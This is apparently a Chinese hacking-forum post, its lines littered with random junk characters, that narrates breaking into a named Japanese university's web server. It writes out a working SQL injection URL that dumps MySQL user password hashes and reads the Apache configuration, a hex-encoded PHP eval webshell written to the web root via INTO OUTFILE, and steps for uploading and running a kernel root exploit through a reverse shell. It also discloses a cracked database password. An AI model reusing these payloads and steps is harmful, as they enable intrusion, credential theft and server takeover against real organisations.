入侵日本同志社大学技术分析% ~; |4 ^" N7 y- ^
& k$ {5 C3 d$ Q0 }5 B3 i, |
http://www.doshisha.ac.jp/chs/news/index.php?i=-1% A H# {' ]. }6 i/ y4 e
然后联合查询,猜字段,查版本,查密码,读取文件…….就是各种查啊,语句是:$ `3 Z% k- w8 p4 G1 Y
3 y( N3 \+ X e' Y5 ohttp://www.doshisha.ac.jp/chs/news/index.php?i=-1+union+select+1,@@datadir,3,load_file(‘/etc/httpd/conf/httpd.conf’),5,group_concat(DISTINCT+user,0x3a,password,0x3a,file_priv,0x3a,host),7,8+from+mysql.user
- m. g" @, `( ?9 i: d$ l0 I1 M
8 f) U! V( c; }8 x
- _5 A/ P- q( Z" X, O5 R5 u' f) t" y r
//@@datadir为数据库文件路径
' z2 \, ^8 i- K( E & k$ F8 k1 Z* Q+ L% i5 a
: R( g" A. u; y/ s/ J//load_file读取网站容器apache的配置文件
( x, i9 u# m# n+ F3 h
' B ^: d J* Z, s2 Y! Z0 A; b6 ]$ ~4 D% E, Z/ C
//group_concat读取MySQL管理员的名字、密码、是否允许读写文件和允许登录的远程计算机 0 Z3 I1 R7 Y; a
复制代码) a7 d8 V( X) E
2 V$ Z4 \: J( d; k& Z3 X
虽然解得MySQL的root账户密码为mysql00,但是host为localhost,只允许本机登陆,所以用处不大。
9 O, A' o; L9 f
$ e2 _, y9 k: ~而且Apache的配置文件显示,服务器拒绝非该大学的ip访问/admin/和phpMyAdmin,所以即使爆出管理员账户密码也没用。
$ P7 z6 S" i9 ^! o& C(大家对以上各种查和语句不太懂的可以参考以下文章:http://bbs.blackbap.org/thread-2243-1-1.html)5 E- a5 e% f/ c! V: a- m6 ?+ O
$ R+ k2 |: I, W
前面load_file是因为发现了各文件夹权限限制的死,不允许外校ip登陆,所以就猜了一下apache的配置文件绝对路径为默认,后来发现还真的是默认的路径。
. A6 ~. r4 m) D0 K4 ?5 M如果知道怎么猜apache配置文件的路径的请参考以下文章:http://bbs.blackbap.org/thread-2242-1-1.html$ A- P* k9 o! B$ j3 j
1 H1 f# M; O7 M, F# c; H# p
既然已经知道了Apache的配置文件的内容,我们也就轻易知道了网站物理路径,路径为:/http/www/koho/' P! i5 N+ K: u( Y
虽然/admin和phpMyAdmin的目录都限制了,但是想了想,我们只要有注入点就可以可以写入shell了,因为php的GPC为off,怎么判断为off我就不说了。9 Q) ~6 ^3 Q4 ?7 M' U
直接写一句话:
# P( | y+ }; C! i% m7 p: s
% o9 L1 V% K9 m; k4 I2 ^) F$ Ihttp://www.doshisha.ac.jp/chs/news/index.php?i=-1+union+select+ 0x3C3F70687020406576616C28245F504F53545B27636D64275D293B3F3E,0x3c3f2f2a,3,4,5,6,7,0x2a2f3f3e+into+outfile+’/http/www/koho/english/engnews_img/aa.php’#9 a; f+ ]5 B' P6 o, }
1 A. n# h3 g$ N1 a * c4 D, P G0 u& M2 h+ [
) O( y5 }- ^7 Q//最后的#是为了闭合前面的语句
1 [6 G! \# F7 ~. O* f$ J9 K
8 M4 w* G, q: I" _3 A) N# j$ h2 Q8 E3 r. k
/*其中的0x3C3F70687020406576616C28245F504F53545B27636D64275D293B3F3E ' i2 Y0 R* S$ P9 q9 i) [
6 R( o X* w! ]0 c$ O4 }: v1 L3 o7 s
为一句话<?php @eval($_POST['cmd']);?>的HEX编码,不懂(HEX编码)的话Google一下就好*/
9 @% ~0 d: \" N5 }: v
+ F3 W% X7 R( m; o; u& B6 D# S
//如果直接select 一句话 into outfile ‘路径’会提示字段数不同,所以select 1,2,3,4…来执行注入语句 , Q2 M \# S2 A# U
" c! |$ m+ g7 \" Q& P, M( K# B
" |" W1 g; I4 k! t( P//后面的0x3c3f2f2a和0x2a2f3f3e分别为’<?php //’的和’?>’HEX因为select后面的3,4,5,6会被写入webshell中,可能会导致一句话执行错误
8 U- F+ [- e4 j( c- n. i% K//所以最后aa.php的内容就是”<?php @eval($_POST['cmd']);?><?php //3,4,5,6,7 ?>” / T6 s0 m7 U0 S) f$ E$ \
复制代码
. v8 P5 ^; D& c* c! k! B2 R/ g" K4 j- s) F, M$ w
HEX其实就是十六进制编码,不知道这个编码的话,去搜一下好了,HEX编码转换在线本地各种工具各种有
" ~0 [4 |8 ^2 j( ]/ b4 f通过上述注入语句,我们就得到了一句话木马:' b- a |% ^/ W; Q/ F3 ~5 x7 l. z+ Y
/ K2 A" R/ [' j- y# ?$ l! a% Z( W
6 {* d8 u0 W% V, a+ l/ m
9 @4 m: T; P/ L+ H- J6 b- x
- t8 y9 d) ]& b- j% p, t5 r. k3 ^* N- F, |: Q
http://www.doshisha.ac.jp/english/engnews_img/aa.php
0 c/ m! C, W5 v复制代码8 Z' q3 h4 _" m8 `
u/ e1 j2 A" d/ w0 W' B
用菜刀连接,密码是cmd,如图所示:
$ m# o% V7 S+ Z O2 y) t然后在命令提示行里看了一下,现在的权限是:5 q3 E/ n4 l! \) X/ W/ Z
* C! f8 r' k; b, ^- W0 Y
之后按照惯例我看了一下/tmp/文件夹,发现/TMP/权限居然被禁掉了,很少有服务器禁掉这个文件夹的。; q( a1 c9 E0 \+ D4 @& @7 r/ \: c0 r( ^
好在赋权给这个文件夹不需要root,直接执行赋权语句:8 j8 S* l- ` t {2 l% D
4 r0 A/ s$ n, F" i9 W3 M# K$ ?. v- B " S# ~1 q$ Y- }: ?2 b) Z
$ I4 i4 d" u9 z2 B" c+ o: B8 [+ t
% {* I4 o" A8 H2 x0 j4 _2 `
b! v: v! G6 b, b6 U1 P, H
chmod +x /tmp/
" f/ q ^5 F1 N! T3 N4 o" O7 ?& D复制代码* r: i& E" W4 M0 i j$ [
0 \! b1 Q9 f9 v o0 _! v在这说一下,linux里面的文件夹跟文件一样,执行命令自然也可以按照像文件一样的执行
6 i, |) W% D& g! T然后就查了一下内核版本:
( Z3 H- R& a( c; L. E) d) T) }: h) G# g, c
/ O8 R8 g7 H8 u6 k) C
% M" N: p/ u- U - w% N# S5 @% J
& c/ E( A* H' p+ M% Suname-a
f' u* A. M; w) H + d2 C' V; C8 Y! |1 b) o1 A# k
- P& k) h k" |. I0 W( Z
//其实lsb_release -a ) t- I- z5 Q$ T, {+ H2 ?
复制代码5 G* a3 I* [! k, f$ G
$ m- r4 j1 s# ^# K如图所示:! c7 K. g* A2 _. u6 Z# o
6 r$ x1 L8 @6 `" ], Z2 N内核版本:linux mainz1 2.6.28-194.e15
5 g) W# Z4 P, Y5 e系统描述为:Red Hat Enterprise Linux Server release 5.5 (Tikanga)
3 J8 F. r' L+ V( G查完了系统版本之后就去找找相应的提权脚本!~然后传到/tmp/文件夹
% L0 m7 z: F+ p2 ^ \
& o/ p) c% c1 B) o: S8 O然后给予执行权限
, c# w1 T8 `$ P一般我都是传上去c源文件,然后”gcc -o /tmp/程序 /tmp/C源码”这样,如果gcc不能用,在其他机器编译好了直接传上去其实也可以,就像这样
& Y3 a8 N& q/ q* g& b: _; K) i; o3 l$ s7 b0 Q) u+ x
0 W4 t( L8 P' ?" n- l0 t
* O& b2 s9 T& A* g8 s, r/ f : Y! S- G* E4 x, [- U1 q/ N
5 Y: W2 z. R) `1 a
chmod +x /tmp/2.6.18-194
6 U" [" ]3 H. r0 V8 F复制代码 然后直接执行!~' O% m2 b: D1 T5 r2 ]* X
T9 \6 Q# k0 `
总结:
( n- p& Z& k! N2 b3 U l这个注入点的基本思路就是,发现MySQL账户为root,GPC设置为off,搞到了物理路径就直接写Webshell了4 }' Q+ }% D: R! V9 k0 [
提权部分原理就是,本地监听端口,将对方机器反弹回cmdshell来,然后把和内核版本对应的EXP传上去,编译运行,得到root
8 Z5 g6 H8 s' b2 @' j
3 ^" Q5 Y) S- b/ e0 t |